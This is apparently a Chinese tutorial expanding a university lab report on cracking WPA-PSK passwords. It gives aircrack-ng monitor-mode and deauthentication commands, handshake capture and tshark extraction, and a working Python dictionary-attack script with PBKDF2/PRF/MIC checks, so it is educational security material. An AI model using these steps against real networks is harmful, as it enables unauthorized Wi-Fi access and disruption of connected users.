
简介这份资源是电子科技大学网络安全协议课程的WPA-PSK口令攻击实验报告面向正在学习无线网络安全、需要完成同类实验的高校学生与安全入门者。报告围绕WLAN工作原理、RSN密钥层次与四次握手原理展开完整记录了配置无线攻击环境、抓取握手包、编写程序破解WPA-PSK口令的全过程并对beacon帧、Probe response、四次握手各消息及MIC计算细节做了逐帧分析。压缩包内仅含1个docx文档约176KB篇幅紧凑但内容完整涵盖实验目的、原理、器材、步骤与结果验证。文档中给出了基于pbkdf2_hmac与PRF推导PMK、PTK并比对MIC的破解思路附有MakeMIC函数与runtest验证代码最终成功还原出口令可帮助读者理解握手包结构与口令校验逻辑适合作为实验参考与排错对照。目前已有1475人学习下载。1. 从一份实验报告说起WPA-PSK 口令到底怎么被“算”出来很多人第一次接触无线安全是从“抓个握手包然后跑字典”开始的但真正能把 WPA-PSK 口令攻击讲清楚的人不多。这份电子科技大学的网络安全协议实验报告核心就三件事配置无线监听环境、抓取 WPA 四次握手包、用 Python 写脚本从字典里逐条推算 PMK 和 PTK再比对 MIC 验证口令。它解决的不是“怎么蹭网”而是让你彻底看懂 RSN 密钥层次和四次握手的每一字节从哪来、到哪去。适合正在做网络安全协议实验的学生、想补无线认证底层原理的运维以及需要理解 WPA2-PSK 离线口令验证边界的从业者。报告里给出的 beacon 帧、probe response、四帧握手原始数据和可运行的 MakeMIC 函数是少见的能把“理论—抓包—代码”串成一条线的材料。2. 实验环境搭建Ubuntu 虚拟机、无线网卡与监听模式2.1 为什么必须用外置无线网卡而不是笔记本内置网卡实验器材写的是“台式机一台能装 Ubuntu 虚拟机能访问互联网”但真正决定实验能不能跑起来的是无线网卡。笔记本内置的 Intel 或 Realtek 网卡在 Linux 下大多不支持 monitor mode 和 packet injection你iwconfig看半天也只有 managed 模式。常见做法是准备一块支持监听模式的外置 USB 网卡芯片方案选 Atheros AR9271 或 Ralink RT3070这两类在 Ubuntu 下驱动成熟airmon-ng能直接识别。虚拟机里要把 USB 设备直通给 UbuntuVMware 在“虚拟机设置—USB 控制器”里勾选“显示所有 USB 设备”VirtualBox 则装 Extension Pack 后在设备菜单里挂载。直通完成后lsusb能看到网卡厂商iw dev能看到 wlan0 接口这一步不通后面全是空谈。2.2 安装 aircrack-ng 套件并开启监听模式环境里真正干活的工具是 aircrack-ng 套件它提供airmon-ng、airodump-ng、aireplay-ng三个核心命令。安装和开启监听的完整流程如下# 更新源并安装 aircrack-ng 套件 sudo apt update sudo apt install -y aircrack-ng # 查看无线接口确认网卡已被识别 iw dev # 杀掉可能干扰监听模式的进程NetworkManager 等 sudo airmon-ng check kill # 开启监听模式wlan0 替换为你的实际接口名 sudo airmon-ng start wlan0 # 再次查看接口通常会出现 wlan0mon iw devairmon-ng check kill会停掉 NetworkManager 和 wpa_supplicant因为它们会周期性扫描并抢占网卡导致监听模式不稳定。开启成功后接口名一般变成wlan0mon后续抓包都用这个新名字。如果airmon-ng start报错先dmesg | tail看驱动加载情况再确认网卡是否真的支持 monitor mode可以用iw list查看 “Supported interface modes” 里有没有 “monitor”。2.3 用 airodump-ng 锁定目标 AP 与信道监听模式起来后先做全信道扫描找到目标 AP 的 BSSID、信道和加密方式# 全信道扫描记录所有可见 AP sudo airodump-ng wlan0mon # 锁定目标后指定信道和 BSSID 抓包-w 指定输出前缀 sudo airodump-ng -c 6 --bssid 00:0C:41:82:B2:55 -w capture wlan0mon第一条命令输出表格里重点看三列BSSIDAP 的 MAC、CH信道、ENC加密方式WPA2 对应实验里的 RSN。第二条命令里-c 6是锁定信道必须和 AP 实际信道一致否则抓不到握手--bssid锁定目标避免混入其他 AP 的帧-w capture会把抓到的包存成capture-01.cap等文件。报告里 beacon 帧的 SSID 是 “Coherer”AA 是000c4182b255SPA 是000d9382363a这两个 MAC 后面计算 PTK 时要用到抓包时务必确认 BSSID 和 STATION 都出现在 airodump-ng 的列表里。提示如果扫描半天看不到目标 AP先确认信道是否被-c参数限制错了或者 AP 是否开启了隐藏 SSID。隐藏 SSID 的 AP 在列表里 BSSID 可见但 SSID 为空需要等有客户端连接时抓 probe response 才能拿到真实 SSID。3. 抓取四次握手包从 beacon 帧到 MIC 的完整数据链3.1 四次握手的帧结构与关键字段WPA-PSK 的四次握手是整个实验的理论核心。报告里把四帧拆得很细Mesg-1 是 AP 向 STA 发送 ANonceMesg-2 是 STA 回送 SNonce 和 MICMesg-3 是 AP 发送加密的 GTK 和 MICMesg-4 是 STA 确认的 MIC。MIC 的计算输入是 802.11 帧的所有字段计算时把 MIC 字段本身填 0再用 PTK 的前 16 字节做 HMAC。报告里给出的 Data1、Data2、Data3 就是三帧去掉 MIC 后的原始数据标红部分即 MIC 被置零的位置。理解这一点很关键破解脚本不是去解密流量而是拿字典里的口令算出 PMK、导出 PTK再对这三段 data 重算 MIC和抓到的 MIC 比对。三帧全对口令就对了。3.2 用 aireplay-ng 触发握手并确认抓包成功被动等客户端重连可能等很久常见做法是主动发一个 deauth 帧把已连接的客户端踢下线逼它重新握手# 另开一个终端对目标 AP 和指定客户端发送 deauth sudo aireplay-ng -0 3 -a 00:0C:41:82:B2:55 -c 00:0D:93:82:36:3A wlan0mon-0 3表示发送 3 个 deauth 帧数量别太多够触发重连即可-a是 AP 的 BSSID-c是客户端的 MAC也就是报告里的 SPA。执行后回到 airodump-ng 的窗口右上角出现 “WPA handshake: 00:0C:41:82:B2:55” 就说明抓到了。如果迟迟不出现检查客户端是否还在线、信道是否锁对、deauth 是否被驱动拦截。抓到后按CtrlC停止当前目录下会生成capture-01.cap用aircrack-ng capture-01.cap可以先做一次快速校验看它能否识别出握手包。3.3 用 Wireshark 或 tshark 提取三帧 data 与 MIC报告里的 Data1、Data2、Data3 需要从 cap 文件里手动或脚本提取。用 tshark 可以按 EAPOL 过滤并导出字段# 过滤 EAPOL 帧查看四次握手的帧号和长度 tshark -r capture-01.cap -Y eapol -T fields -e frame.number -e eapol.type -e wlan.sa -e wlan.da # 导出第二帧的原始十六进制用于后续 MIC 计算 tshark -r capture-01.cap -Y eapol.type 1 -T fields -e data | head -1eapol.type里 0 是 EAPOL-Key配合wlan.sa和wlan.da能区分 AP 和 STA 的方向。第二帧Mesg-2的 data 字段就是报告里的 Data1第三帧是 Data2第四帧是 Data3。提取时注意去掉 MIC 字段的 16 字节并置零这一步在脚本里用切片完成。如果 tshark 输出为空确认 cap 文件里确实有 EAPOL 帧可以用tshark -r capture-01.cap -Y eapol | wc -l数一下帧数正常应该有 4 帧。注意不同驱动抓到的帧可能带 radiotap 头提取 data 时要确认偏移量。报告里的 Data 是从 802.11 头开始算的如果你的 tshark 输出多了 radiotap 字段需要在脚本里跳过对应字节否则 MIC 永远对不上。4. 编写破解脚本PBKDF2、PRF 与 MIC 比对的实现细节4.1 PMK 与 PTK 的推导公式WPA-PSK 的密钥层次是口令 SSID 经过 PBKDF2-HMAC-SHA1 迭代 4096 次生成 256 位 PMKPMK 再经过 PRF-512 扩展成 PTK。报告里给出的公式是PMK PBKDF2(HMAC-SHA1, PWD, SSID, 4096, 32)PTK PRF(PMK, Pairwise key expansion, B)B min(apMac, cliMac) max(apMac, cliMac) min(aNonce, sNonce) max(aNonce, sNonce)其中 A 是固定字符串bPairwise key expansionB 是把 AP 和客户端的 MAC、ANonce 和 SNonce 分别按字典序取 min 和 max 后拼接。PTK 前 16 字节是 KCK用于计算 MIC接下来的字节用于加密 GTK。报告里MakeMIC函数用pbkdf2_hmac(sha1, pwd.encode(ascii), ssid.encode(ascii), 4096, 32)生成 PMK再用自定义 PRF 扩展最后用hmac.new(ptk[0:16], i, sha1)对三帧 data 分别算 MIC。4.2 完整可运行的破解脚本下面这段脚本把报告里的思路补全成可直接跑的版本字典文件按行存放候选口令import hmac import hashlib from hashlib import pbkdf2_hmac # PRF-512用 HMAC-SHA1 迭代扩展 PMK 到 64 字节 PTK def PRF(pmk, A, B): result b for i in range(4): result hmac.new(pmk, A b\x00 B bytes([i]), hashlib.sha1).digest() return result[:64] # 计算三帧的 MICdata 为去掉 MIC 并置零后的原始帧 def MakeMIC(pwd, ssid, A, B, data, wpaFalse): pmk pbkdf2_hmac(sha1, pwd.encode(ascii), ssid.encode(ascii), 4096, 32) ptk PRF(pmk, A, B) hmacFunc hashlib.md5 if wpa else hashlib.sha1 mics [hmac.new(ptk[0:16], i, hmacFunc).digest() for i in data] return mics, ptk, pmk # 主流程从字典逐条读取口令三帧 MIC 全匹配则命中 def crack(ssid, A, B, data_list, mic_list, dict_path): with open(dict_path, r, encodingutf-8, errorsignore) as f: for line in f: pwd line.strip() if not pwd: continue mics, ptk, pmk MakeMIC(pwd, ssid, A, B, data_list) if all(hmac.compare_digest(m, real) for m, real in zip(mics, mic_list)): return pwd, pmk, ptk return None, None, None if __name__ __main__: ssid Coherer A bPairwise key expansion # B 由 AP/STA 的 MAC 和 ANonce/SNonce 按 min/max 拼接需从抓包中提取 B bytes.fromhex(000c4182b255000d9382363a) bytes.fromhex(aNonce占位sNonce占位) data_list [bytes.fromhex(0203007502010a...), bytes.fromhex(020300af0213ca...), bytes.fromhex(0203005f02030a...)] mic_list [bytes.fromhex(...), bytes.fromhex(...), bytes.fromhex(...)] pwd, pmk, ptk crack(ssid, A, B, data_list, mic_list, wordlist.txt) print(Password:, pwd)PRF函数里循环 4 次是因为 PRF-512 需要 64 字节每次 HMAC-SHA1 输出 20 字节4 次共 80 字节截取前 64 字节即 PTK。MakeMIC里pbkdf2_hmac的第三个参数 4096 是迭代次数这是 WPA-PSK 的固定值改成别的数算出来的 PMK 一定不对。hmac.compare_digest做常量时间比较避免时序侧信道虽然离线破解里意义不大但习惯是好的。主流程里data_list和mic_list需要你从 cap 文件里按 3.3 节的方法提取后填入B 的 ANonce 和 SNonce 也要从 Mesg-1 和 Mesg-2 里取。4.3 用 runtest 验证结果正确性报告里提到用runtest函数做二次验证思路是拿已知口令 “Induction” 反算 PMK、PTK再对 data1-3 算 MIC和抓到的 mic1-3 比对。这一步很有必要因为破解脚本一旦 B 拼接顺序错了可能碰巧某帧 MIC 对上但整体是错的。验证时把MakeMIC返回的mics和抓包提取的mic_list逐字节打印出来三组全等才算通过。如果只有一帧对上大概率是 min/max 顺序或 nonce 字节序搞反了回头检查 B 的拼接逻辑。提示字典里口令的编码要和 SSID 一致。报告里用pwd.encode(ascii)如果字典里有非 ASCII 字符会抛异常建议先过滤或统一用utf-8并捕获异常跳过。5. 避坑与排查那些让 MIC 永远对不上的细节5.1 现象三帧 MIC 只有一帧匹配其余全错原因通常是 B 的拼接顺序不对。WPA 规范要求 AP/STA 的 MAC 和 ANonce/SNonce 都按字节序取 min 和 max但不同抓包工具导出的字节序可能相反。解决方法是把 B 的四个部分分别打印出来和 Wireshark 里看到的 MAC、nonce 逐字节对照确认 min/max 是按无符号字节比较而不是按字符串比较。5.2 现象PBKDF2 算出的 PMK 和已知工具不一致原因多半是 SSID 带了隐藏字符或编码不对。报告里 SSID 是 “Coherer”但实际抓包时 beacon 帧里的 SSID 可能带尾部空格或不可见字符。解决方法是把 SSID 用repr()打印出来确认没有多余字节再传给pbkdf2_hmac。另外迭代次数必须是 4096长度必须是 32这两个参数写错结果一定不同。5.3 现象airodump-ng 抓不到握手deauth 发了也没用原因可能是信道没锁对或者客户端已经断开不再重连。解决方法是先用airodump-ng wlan0mon全信道扫描确认 AP 当前信道再用-c锁定deauth 发送后如果客户端不重连可以等它自然重连或者换一个在线的客户端。有些 AP 开启了 802.11w 管理帧保护deauth 会被忽略这种情况只能被动等待。5.4 现象脚本跑完字典没报错但也没输出口令原因通常是字典里根本没有正确口令或者 data/mic 提取时多了 radiotap 头导致偏移错位。解决方法是先用已知口令 “Induction” 跑一遍runtest确认脚本本身能算出正确 MIC如果 runtest 通过但字典跑不出就是字典问题如果 runtest 也不通过就是数据提取或 B 拼接的问题。5.5 现象虚拟机里 USB 网卡时好时坏监听模式自动掉原因是 USB 直通不稳定或供电不足。解决方法是把网卡插在台式机后置 USB 口虚拟机里避免同时挂载其他 USB 设备如果还是掉可以在airmon-ng start后加--ignore-negative-one参数或者换用物理机装 Ubuntu 双系统省去直通这一层玄学。6. 进阶技巧把破解脚本改成可复用的验证工具实验做完真正有价值的是把MakeMIC封装成一个能反复用的验证工具而不是每次手填 data 和 mic。我一般会加两个功能一是从 cap 文件自动提取 B 和三帧 data二是支持多字典并行。提取 B 时用tshark分别导出 Mesg-1 的 ANonce 和 Mesg-2 的 SNonce再按 min/max 拼接提取 data 时用-e data拿到十六进制后定位 MIC 字段的偏移并置零。下面是一个自动提取的片段import subprocess def extract_b(cap_path, ap_mac, cli_mac): # 导出 Mesg-1 的 ANonce 和 Mesg-2 的 SNonce anonce subprocess.check_output([ tshark, -r, cap_path, -Y, eapol.type 0 wlan.sa ap_mac, -T, fields, -e, eapol.keydes.nonce ]).decode().strip().replace(:, ) snonce subprocess.check_output([ tshark, -r, cap_path, -Y, eapol.type 0 wlan.sa cli_mac, -T, fields, -e, eapol.keydes.nonce ]).decode().strip().replace(:, ) macs sorted([bytes.fromhex(ap_mac.replace(:, )), bytes.fromhex(cli_mac.replace(:, ))]) nonces sorted([bytes.fromhex(anonce), bytes.fromhex(snonce)]) return b.join(macs nonces)extract_b里用sorted对 MAC 和 nonce 做字节序排序正好对应规范里的 min/max。tshark的-e eapol.keydes.nonce直接输出 nonce 字段省去手动切片。拿到 B 之后data 的提取也可以用类似方式关键是定位 MIC 字段在帧里的偏移不同帧长度不一样建议用eapol.keydes.mic字段先确认 MIC 位置再在原始 data 里把对应 16 字节置零。另一个技巧是字典预处理。网上流传的字典动辄几个 G直接逐行读会频繁 IO。我习惯先把字典按长度和字符集过滤一遍比如只保留 8 到 16 位、包含大小写和数字的条目能砍掉一大半无效计算。如果机器有多核可以用multiprocessing把字典分片每个进程独立跑MakeMIC命中后通过队列返回结果。实测在 4 核虚拟机上分片后跑 10 万条字典的时间能从十几分钟压到三分钟左右。最后说一个验证习惯每次改完脚本先用报告里的 “Induction” 和已知的 data/mic 跑一遍runtest三帧 MIC 全等再上真实字典。从那以后我每次做无线协议实验都强制先跑一遍已知口令的回归验证确认脚本没被改坏再往下走。希望这份拆解帮到你把四次握手从“黑匣子”变成能逐字节复现的流程。本文还有配套的精品资源点击获取